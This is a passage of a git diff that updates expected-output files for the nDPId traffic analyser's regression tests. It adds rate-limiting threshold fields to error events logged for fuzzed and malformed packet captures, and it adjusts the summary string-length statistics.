00571{"daemon_event_id":3,"daemon_event_name":"shutdown","thread_id":0,"packet_id":1,"source":"fuzz-2021-06-07-c6c72a0a56.pcap","alias":"nDPId-test","packets-captured":1,"packets-processed":0,"total-skipped-flows":0,"total-l4-payload-len":0,"total-not-detected-flows":0,"total-guessed-flows":0,"total-detected-flows":0,"total-detection-updates":0,"total-updates":0,"current-active-flows":0,"total-active-flows":0,"total-idle-flows":0,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":7,"global_ts_usec":1953631155595384} ~~~~~~~~~~~~~~~~~~~~ SUMMARY ~~~~~~~~~~~~~~~~~~~~ @@ -17,6 +17,6 @@ ~~ total memory freed........: 6034017 bytes ~~ total allocations/frees...: 121477/121477 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -~~ json string min len.......: 228 chars +~~ json string min len.......: 328 chars ~~ json string max len.......: 576 chars -~~ json string avg len.......: 403 chars +~~ json string avg len.......: 451 chars diff --git a/test/results/fuzz-2021-10-13.pcap.out b/test/results/fuzz-2021-10-13.pcap.out index 50b2b0ddc..5635ec885 100644 --- a/test/results/fuzz-2021-10-13.pcap.out +++ b/test/results/fuzz-2021-10-13.pcap.out @@ -1,6 +1,6 @@ 00495{"daemon_event_id":1,"daemon_event_name":"init","thread_id":0,"packet_id":0,"source":"fuzz-2021-10-13.pcap","alias":"nDPId-test","max-flows-per-thread":2048,"max-idle-flows-per-thread":64,"reader-thread-count":1,"flow-scan-interval":10000000,"generic-max-idle-time":600000000,"icmp-max-idle-time":120000000,"udp-max-idle-time":180000000,"tcp-max-idle-time":3265032704,"max-packets-per-flow-to-send":3,"max-packets-per-flow-to-process":32,"max-packets-per-flow-to-analyse":32,"global_ts_usec":0} 00557{"daemon_event_id":4,"daemon_event_name":"status","thread_id":0,"packet_id":1,"source":"fuzz-2021-10-13.pcap","alias":"nDPId-test","packets-captured":1,"packets-processed":0,"total-skipped-flows":0,"total-l4-payload-len":0,"total-not-detected-flows":0,"total-guessed-flows":0,"total-detected-flows":0,"total-detection-updates":0,"total-updates":0,"current-active-flows":0,"total-active-flows":0,"total-idle-flows":0,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":2,"global_ts_usec":980658803882137} -00206{"error_event_id":1,"error_event_name":"Unknown datalink layer packet","datalink":0,"packet_id":1,"source":"fuzz-2021-10-13.pcap","alias":"nDPId-test","layer_type":3080300,"global_ts_usec":980658803882137} +00305{"error_event_id":1,"error_event_name":"Unknown datalink layer packet","datalink":0,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":980658803882137,"packet_id":1,"source":"fuzz-2021-10-13.pcap","alias":"nDPId-test","layer_type":3080300,"global_ts_usec":980658803882137} 00546{"packet_event_id":1,"packet_event_name":"packet","packet_id":1,"source":"fuzz-2021-10-13.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":197,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":197,"pkt_l4_len":0,"thread_ts_usec":980658803882137,"pkt":"AC8AbGXLAAAAlQZ\/NAA6MDA1L3VwbG8yZD9sPTAuAAAAAAAAAAA9AAAAgAGtAAAAPAEAADUAMMkAAFsEMjk5oIBtrTHFxwpdEDIAAQBGAAAAaXAAc+dXAAAAAAAIAAoAAAD\/MvsABgAAAAAAAAAAAAAAAAAAAAAkABAAAAAAAAA8AQAAAAAACJcFAAAA\/zL7AAYAAP9NPLKhAgAAAI8NOwAAAH8AAhwAAQAAAAAAECA\/BeIoAAAAACA9eC75+f\/\/xQAAAAA="} 00559{"daemon_event_id":3,"daemon_event_name":"shutdown","thread_id":0,"packet_id":1,"source":"fuzz-2021-10-13.pcap","alias":"nDPId-test","packets-captured":1,"packets-processed":0,"total-skipped-flows":0,"total-l4-payload-len":0,"total-not-detected-flows":0,"total-guessed-flows":0,"total-detected-flows":0,"total-detection-updates":0,"total-updates":0,"current-active-flows":0,"total-active-flows":0,"total-idle-flows":0,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":5,"global_ts_usec":980658803882137} ~~~~~~~~~~~~~~~~~~~~ SUMMARY ~~~~~~~~~~~~~~~~~~~~ @@ -15,6 +15,6 @@ ~~ total memory freed........: 6034017 bytes ~~ total allocations/frees...: 121477/121477 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -~~ json string min len.......: 211 chars +~~ json string min len.......: 310 chars ~~ json string max len.......: 564 chars -~~ json string avg len.......: 387 chars +~~ json string avg len.......: 430 chars diff --git a/test/results/gnutella.pcap.out b/test/results/gnutella.pcap.out index 33c1e47d2..f5329d69f 100644 --- a/test/results/gnutella.pcap.out +++ b/test/results/gnutella.pcap.out @@ -1,5 +1,5 @@ 00488{"daemon_event_id":1,"daemon_event_name":"init","thread_id":0,"packet_id":0,"source":"gnutella.pcap","alias":"nDPId-test","max-flows-per-thread":2048,"max-idle-flows-per-thread":64,"reader-thread-count":1,"flow-scan-interval":10000000,"generic-max-idle-time":600000000,"icmp-max-idle-time":120000000,"udp-max-idle-time":180000000,"tcp-max-idle-time":3265032704,"max-packets-per-flow-to-send":3,"max-packets-per-flow-to-process":32,"max-packets-per-flow-to-analyse":32,"global_ts_usec":0} -00175{"error_event_id":4,"error_event_name":"Packet too short","datalink":1,"packet_id":1,"source":"gnutella.pcap","alias":"nDPId-test","size":4,"expected":14,"global_ts_usec":22} +00261{"error_event_id":4,"error_event_name":"Packet too short","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":22,"packet_id":1,"source":"gnutella.pcap","alias":"nDPId-test","size":4,"expected":14,"global_ts_usec":22} 00260{"packet_event_id":1,"packet_event_name":"packet","packet_id":1,"source":"gnutella.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":4,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":4,"pkt_l4_len":0,"thread_ts_usec":22,"pkt":"AAAAAA=="} 00683{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2,"source":"gnutella.pcap","alias":"nDPId-test","flow_id":1,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":9752391,"flow_src_last_pkt_time":9752391,"flow_dst_last_pkt_time":9752391,"flow_idle_time":140000000,"flow_src_min_l4_payload_len":24,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":24,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":24,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":9752391,"l3_proto":"ip6","src_ip":"::","dst_ip":"ff02::1:ffa4:e108","l4_proto":"icmp6","flow_datalink":1,"flow_max_packets":3} 00517{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"gnutella.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_src_last_pkt_time":9752391,"flow_dst_last_pkt_time":9752391,"flow_idle_time":140000000,"pkt_oversize":false,"pkt_caplen":78,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":78,"pkt_l4_len":24,"thread_ts_usec":9752391,"pkt":"MzP\/pOEICAAn5uVZht1gAAAAABg6\/wAAAAAAAAAAAAAAAAAAAAD\/AgAAAAAAAAAAAAH\/pOEIhwAMIAAAAAD+gAAAAAAAAMUNUZ+WpOEI"} @@ -6536,6 +6536,6 @@ ~~ total memory freed........: 7778018 bytes ~~ total allocations/frees...: 138009/138009 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -~~ json string min len.......: 180 chars +~~ json string min len.......: 265 chars ~~ json string max len.......: 2514 chars -~~ json string avg len.......: 1347 chars +~~ json string avg len.......: 1389 chars diff --git a/test/results/gtp_prime.pcapng.out b/test/results/gtp_prime.pcapng.out index 6d0eb2685..a44c3aba5 100644 --- a/test/results/gtp_prime.pcapng.out +++ b/test/results/gtp_prime.pcapng.out @@ -1,6 +1,6 @@ 00491{"daemon_event_id":1,"daemon_event_name":"init","thread_id":0,"packet_id":0,"source":"gtp_prime.pcapng","alias":"nDPId-test","max-flows-per-thread":2048,"max-idle-flows-per-thread":64,"reader-thread-count":1,"flow-scan-interval":10000000,"generic-max-idle-time":600000000,"icmp-max-idle-time":120000000,"udp-max-idle-time":180000000,"tcp-max-idle-time":3265032704,"max-packets-per-flow-to-send":3,"max-packets-per-flow-to-process":32,"max-packets-per-flow-to-analyse":32,"global_ts_usec":0} 00554{"daemon_event_id":4,"daemon_event_name":"status","thread_id":0,"packet_id":1,"source":"gtp_prime.pcapng","alias":"nDPId-test","packets-captured":1,"packets-processed":0,"total-skipped-flows":0,"total-l4-payload-len":0,"total-not-detected-flows":0,"total-guessed-flows":0,"total-detected-flows":0,"total-detection-updates":0,"total-updates":0,"current-active-flows":0,"total-active-flows":0,"total-idle-flows":0,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":2,"global_ts_usec":1424882324190538} -00191{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":1,"source":"gtp_prime.pcapng","alias":"nDPId-test","layer_type":33024,"global_ts_usec":1424882324190538} +00291{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1424882324190538,"packet_id":1,"source":"gtp_prime.pcapng","alias":"nDPId-test","layer_type":33024,"global_ts_usec":1424882324190538} 00682{"packet_event_id":1,"packet_event_name":"packet","packet_id":1,"source":"gtp_prime.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":300,"pkt_type":33024,"pkt_l3_offset":18,"pkt_l4_offset":0,"pkt_len":300,"pkt_l4_len":0,"thread_ts_usec":1424882324190538,"pkt":"tjL\/AAFBtij\/AAFBgQAAZIEAAGcIAEXAARYAAAAAPxEI+QoKNgEKCicK\/EQNOgEC27Eu8AD0AAR+AfwA7wEBHAYA6b9gggDkgAFggwgTACEAAAAA8KQGgAQKCjUBhQQHkAAAhwVlaHJwZIgC8SGpCKAGgAQBAAAGiwEBrIIAKjAogwIDSIQCA0iFAQKGCRUCJRY4RCsAAKkQgQEIhgEJhwNMS0CIA0xLQI0JFQIlFjgBKwAAjgErjwEAsCKkIAYOKwYBBAGyfwMBAkYEAQCBAQCiCzAJAgEBAgEBgQEOkgpBTFUtTk9ERTAxlAEBlQEAlwIBAJgBA54BA58iAQG\/JAaABAoKBgOfJQMTIBCfJgkVAiUWOAArAACfJwkVAiUWOEQrAACfKAQHkAAA"} 00556{"daemon_event_id":3,"daemon_event_name":"shutdown","thread_id":0,"packet_id":1,"source":"gtp_prime.pcapng","alias":"nDPId-test","packets-captured":1,"packets-processed":0,"total-skipped-flows":0,"total-l4-payload-len":0,"total-not-detected-flows":0,"total-guessed-flows":0,"total-detected-flows":0,"total-detection-updates":0,"total-updates":0,"current-active-flows":0,"total-active-flows":0,"total-idle-flows":0,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":5,"global_ts_usec":1424882324190538} ~~~~~~~~~~~~~~~~~~~~ SUMMARY ~~~~~~~~~~~~~~~~~~~~ @@ -15,6 +15,6 @@ ~~ total memory freed........: 6034017 bytes ~~ total allocations/frees...: 121477/121477 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -~~ json string min len.......: 196 chars +~~ json string min len.......: 296 chars ~~ json string max len.......: 687 chars -~~ json string avg len.......: 426 chars +~~ json string avg len.......: 470 chars diff --git a/test/results/ip_fragmented_garbage.pcap.out b/test/results/ip_fragmented_garbage.pcap.out index d284d06cc..8af69011c 100644 --- a/test/results/ip_fragmented_garbage.pcap.out +++ b/test/results/ip_fragmented_garbage.pcap.out @@ -2,18158 +2,94 @@ 00564{"daemon_event_id":4,"daemon_event_name":"status","thread_id":0,"packet_id":1,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","packets-captured":1,"packets-processed":0,"total-skipped-flows":0,"total-l4-payload-len":0,"total-not-detected-flows":0,"total-guessed-flows":0,"total-detected-flows":0,"total-detection-updates":0,"total-updates":0,"current-active-flows":0,"total-active-flows":0,"total-idle-flows":0,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":2,"global_ts_usec":1534244024697756} 00761{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":1,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1534244024697756,"flow_src_last_pkt_time":1534244024697756,"flow_dst_last_pkt_time":1534244024697756,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":0,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":0,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1534244024697756,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":24102,"dst_port":10792,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00521{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_src_last_pkt_time":1534244024697756,"flow_dst_last_pkt_time":1534244024697756,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAl4mKigpKComXiUkI0AjJCUpOAAA"} -00220{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":2,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024697792} +00320{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1534244024697792,"packet_id":2,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024697792} 00355{"packet_event_id":1,"packet_event_name":"packet","packet_id":2,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} -00220{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":3,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024697801} +00320{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1534244024697801,"packet_id":3,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024697801} 00355{"packet_event_id":1,"packet_event_name":"packet","packet_id":3,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAkhHRkQyKiZERkdISksmXiU="} -00220{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":4,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024697809} +00320{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1534244024697809,"packet_id":4,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024697809} 00355{"packet_event_id":1,"packet_event_name":"packet","packet_id":4,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} -00220{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024697817} +00320{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"threshold_n":4,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1534244024697817,"packet_id":5,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024697817} 00355{"packet_event_id":1,"packet_event_name":"packet","packet_id":5,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} -00220{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024697824} +00320{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"threshold_n":5,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1534244024697824,"packet_id":6,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024697824} 00355{"packet_event_id":1,"packet_event_name":"packet","packet_id":6,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} -00220{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024697832} +00320{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"threshold_n":6,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1534244024697832,"packet_id":7,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024697832} 00355{"packet_event_id":1,"packet_event_name":"packet","packet_id":7,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} -00220{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024697843} +00320{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"threshold_n":7,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1534244024697843,"packet_id":8,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024697843} 00355{"packet_event_id":1,"packet_event_name":"packet","packet_id":8,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} -00220{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":9,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024697880} +00320{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"threshold_n":8,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1534244024697880,"packet_id":9,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024697880} 00355{"packet_event_id":1,"packet_event_name":"packet","packet_id":9,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} -00221{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":10,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024697888} +00321{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"threshold_n":9,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1534244024697888,"packet_id":10,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024697888} 00356{"packet_event_id":1,"packet_event_name":"packet","packet_id":10,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEkAGRZ8KAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} -00221{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":11,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024697895} +00322{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"threshold_n":10,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1534244024697895,"packet_id":11,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024697895} 00356{"packet_event_id":1,"packet_event_name":"packet","packet_id":11,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFEAGRZ0KAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} -00221{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":12,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024697903} +00322{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"threshold_n":11,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1534244024697903,"packet_id":12,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024697903} 00356{"packet_event_id":1,"packet_event_name":"packet","packet_id":12,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFkAGRZsKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} -00221{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":13,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024697911} +00322{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"threshold_n":12,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1534244024697911,"packet_id":13,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024697911} 00356{"packet_event_id":1,"packet_event_name":"packet","packet_id":13,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGEAGRZkKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} -00221{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":14,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024697920} +00322{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"threshold_n":13,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1534244024697920,"packet_id":14,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024697920} 00356{"packet_event_id":1,"packet_event_name":"packet","packet_id":14,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGkAGRZcKAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} -00221{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":15,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024697928} +00322{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"threshold_n":14,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1534244024697928,"packet_id":15,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024697928} 00356{"packet_event_id":1,"packet_event_name":"packet","packet_id":15,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHEAGRZUKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} -00221{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":16,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024697935} +00322{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"threshold_n":15,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1534244024697935,"packet_id":16,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024697935} 00356{"packet_event_id":1,"packet_event_name":"packet","packet_id":16,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHkAGRZMKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} -00221{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":17,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024697943} +00322{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"threshold_n":16,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1534244024697943,"packet_id":17,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024697943} 00356{"packet_event_id":1,"packet_event_name":"packet","packet_id":17,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244024697756,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIEAGRZEKAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} -00221{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":18,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244024697960} 